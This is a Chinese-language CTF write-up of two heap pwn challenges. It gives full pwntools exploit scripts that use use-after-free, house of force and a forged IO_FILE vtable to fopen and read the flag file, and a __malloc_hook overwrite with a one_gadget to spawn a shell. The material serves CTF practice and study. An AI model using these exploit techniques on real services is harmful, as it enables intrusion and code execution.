记录一下巅峰极客的两道pwn,比赛只出了第一道,第二道PWN是赛后复现的,感觉很值得一学,对理解IOFILE很有帮助。

Pwn

题目分析

保护全开,乍看add、delete、show、change全有

然而仔细一看这个change往块里读的是stream的内容

而stream是fopen("/dev/urandom", "r");得到的fd

delete存在UAF

add要求块数量<=0xF,大小>0x7F,块的地址必须在[heapbase,heapbase+0x600]

show,没什么特别的

利用

  1. 泄露libc和heap base
  2. 构造overlap改top的size,利用house_of_force在堆基地址分配块,改stream的内容
  3. 改stream的fileno为0即stdin,可以正常输入,这样就可以修正top chunk的size,否则后面的malloc函数和free函数都不能使用。
  4. 改stream的vtable->__xsgetn为fopen,恰当构造“./flag”和“r”字符串,可以在change的时候fopen(“./flag”,”r”)。
  5. 将stream的vtable的内容改回正常的值(只需将vtable->__xsgetn 和 vtable->__read改为正常值即可)
  6. change随便一个块,因为此时stream的fileno为fopen(“./flag”,”r”)得到的文件描述符,所以flag的值会被写入该块,随后show该块即可得到flag

详解写在注释里了。懒得在虚拟机里安中文输入法,我的塑料英文嘿嘿。。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
from pwn import *
context.log_level = 'debug'
context(arch = 'amd64', os = 'linux')
ti="./pwn1"
debug=1
if debug==0:
io = remote()
elif debug==1:
io = process(ti)
elf=ELF(ti)
libc=ELF("./libc.so.6")
s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)

def add(index,size,content): #16
ru('Choice:')
sl(1)
ru('input your index:\n')
sl(index)
ru('input your size:\n')#>=0x80
sl(size)
ru('input your context:\n')
sl(content)

def delete(index):
ru('Choice:')
sl(2)
ru('input your index:\n')
sl(index)

def show(index):
ru('Choice:')
sl(3)
ru('input your index:\n')
sl(index)

def change1(index):
ru('Choice:')
sl(4)
ru('input your index:\n')
sl(index)

def change2(index, content):
ru('Choice:')
sl(4)
ru('input your index:\n')
sl(index)
sleep(0.1)
s(content)

add(0,0x100-8,'0')
add(1,0x100-8,'1')
add(2,0x90-8,'2')
add(3,0x90-8,'3')#avoid cosolidate with top

#leak libc
delete(0)
show(0)
ru('note[0]: ')
leak=u64(ru('\n').ljust(8,'\x00'))
libc.address=leak-0x3c4b78
log.success("libc base: "+hex(libc.address))

#leak heap base
delete(2)
show(2)
ru('note[2]: ')
leak=u64(ru('\n').ljust(8,'\x00'))
heap_base=leak-0x230
log.success("heap base : "+hex(heap_base))

#overlap
add(4,0x90-8,'2'*(0x28)+p64(0x61))#get 2
delete(1)
add(5,0x100-8+0x100,'\x00'*(0x100-8)+p64(0x131))#get 0 and 1 in one chunk
delete(1)#cosolidate 1 and part of 2 to a 0x130 chunck
delete(3)#rise top
delete(4)#rise top
add(6,0x130-8,'\x00'*(0x100-8)+p64(0xffffffffffffffff))#change top size

#house_of_force to get the IO_FILE
add(7,-0x430-8,"1")

#set fileno 0 => stdin
fake = p64(0xfbad248b) + p64(heap_base+0x93)*7 + p64(heap_base + 0x94) + p64(0x0)*4 +p64(libc.address +0x3c5540)
fake += p64(0x0) #fileno
fake += p64(0x0)*2 + p64(heap_base +0xf0) + p64(0xffffffffffffffff) + p64(0x0) + p64(heap_base+0x100) +p64(0x0)*6
add(8, 0x110-8, fake)

#recover top size
add(9, 0x130-8, 'b')
change2(0, p64(0x0) + p64(0x20dc1) +'\x00'*0xf0)

#set fd="./flag" and fileno 4 and vtable
fake = "./flag\x00\x00" + p64(heap_base+0x93)*7 + p64(heap_base + 0x94) + p64(0x0)*4 + p64(libc.address+0x3c5540)
fake += p64(0x4) #set fileno 4 which fopen("./flag","r")
fake += p64(0x0)*2 + p64(heap_base+0xf0) + p64(0xffffffffffffffff)+ p64(0x0) + p64(heap_base+0x100)+p64(0x0)*6
fake += p64(heap_base+0x250)#vtable
change2(8, fake.ljust(0x110-8, '\x00'))

#fake vtable
fake_vtable = p64(0x0)*8
fake_vtable += p64(libc.address + 0x6dd70)#vtable->__xsgetn => _IO_new_fopen
#glibc2.23 define fopen(fname, mode) _IO_new_fopen (fname, mode)
add(0xc, 0x80,fake_vtable)
add(0xd, 0x80, "r")
change1(0xd) #fread("r",1,0x80,stream) => __GI__IO_file_xsgetn(stream, "r", 1*0x80); <=> fopen("./flag","r") #0x80 is useless
#there will be a new IOFILE whose fileno is 4

#change vtable to a normal one
delete(0xc)
fake_vtable2 = p64(0x0)*8
fake_vtable2 += p64(libc.address + 0x78ec0)#vtable->__xsgetn =>__GI__IO_file_xsgetn
fake_vtable2 += p64(0x0)*5
fake_vtable2 += p64(libc.address + 0x791a0)#vtable->__read => __GI__IO_file_read
add(0xe, 0x80, fake_vtable2)

#any number is okay
#change1(0x9)#fread(notes[0x9],1,0x88,stream)
#show(0x9)
change1(0xc)#fread(notes[0x9],1,0x88,stream)
show(0xc)

io.interactive()

此外

  • 这题给了一个hint是 vtable fake,但我觉得fileno才是关键。

  • 自己试了一下改stream的vtable为onegadget,试图通过exit时 _IO_flush_all_lockp 来getshell,但是没成功,以后再试试吧,失败的exp就不贴了。

巅峰极客wp

Snote

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
from pwn import *
from LibcSearcher import *

context.log_level = 'debug'

context(arch = 'amd64', os = 'linux')

debug=0
if debug==0:
io = remote("55fca716.gamectf.com",37009)
elf=ELF("./Snote")
elif debug==1:
io = process("./Snote")
elf=ELF("./Snote")
libc = ELF("/lib/x86_64-linux-gnu/libc.so.6")

s = lambda data :io.send(str(data))
sa = lambda delim,data :io.sendafter(str(delim), str(data))
sl = lambda data :io.sendline(str(data))
sla = lambda delim,data :io.sendlineafter(str(delim), str(data))
r = lambda numb=4096 :io.recv(numb)
ru = lambda delims, drop=True :io.recvuntil(delims, drop)

def add(size,content):
ru('Your choice > ')
sl(1)
ru('Size > ')
sl(size)
ru('Content > \n')
s(content)
def show():#once
ru('Your choice > ')
sl(2)
def delete():#once
ru('Your choice > ')
sl(3)
def edit(size,content):
ru('Your choice > ')
sl(4)
ru('Size > ')
sl(size)
ru('Content > \n')
s(content)

ru("What's your name?\n")
sl("Q1IQ")
c="1"
add(0x70-8,"0"*(0x70-8))
add(0x70-8,"1"*(0x70-8))
edit(0x70,"2"*(0x70-8)+p64(0xf21))
add(0x1000,"3")
add(0x70-8,"0"*8)
show()
leak=u64(ru("Done")[8:16])
log.success(hex(leak))
libc.address=leak-0x3c5188
log.success(hex(libc.address))
delete()
edit(8,p64(libc.address+0x3c4b10-0x23))
add(0x70-8,"0"*(0x70-8))
onegadgets=[0x45216,0x4526a,0xf02a4,0xf1147]
onegadget=libc.address+onegadgets[2]
c="d"*0xB+p64(0)+p64(onegadget)+'\x00'*8
#c="d"*0xB+p64(onegadget)+p64(libc.symbols['realloc'])+'\x00'*8
add(0x70-8,c)
ru('Your choice > ')
sl(1)
ru('Size > ')
sl(0x10)
io.interactive()